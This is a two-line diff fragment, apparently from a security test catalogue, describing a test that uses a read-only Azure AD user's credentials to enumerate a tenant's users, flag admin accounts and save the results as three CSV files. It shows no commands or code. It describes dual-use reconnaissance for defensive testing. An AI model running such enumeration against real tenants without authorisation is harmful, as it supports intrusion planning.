+    Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. 
+    Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users.
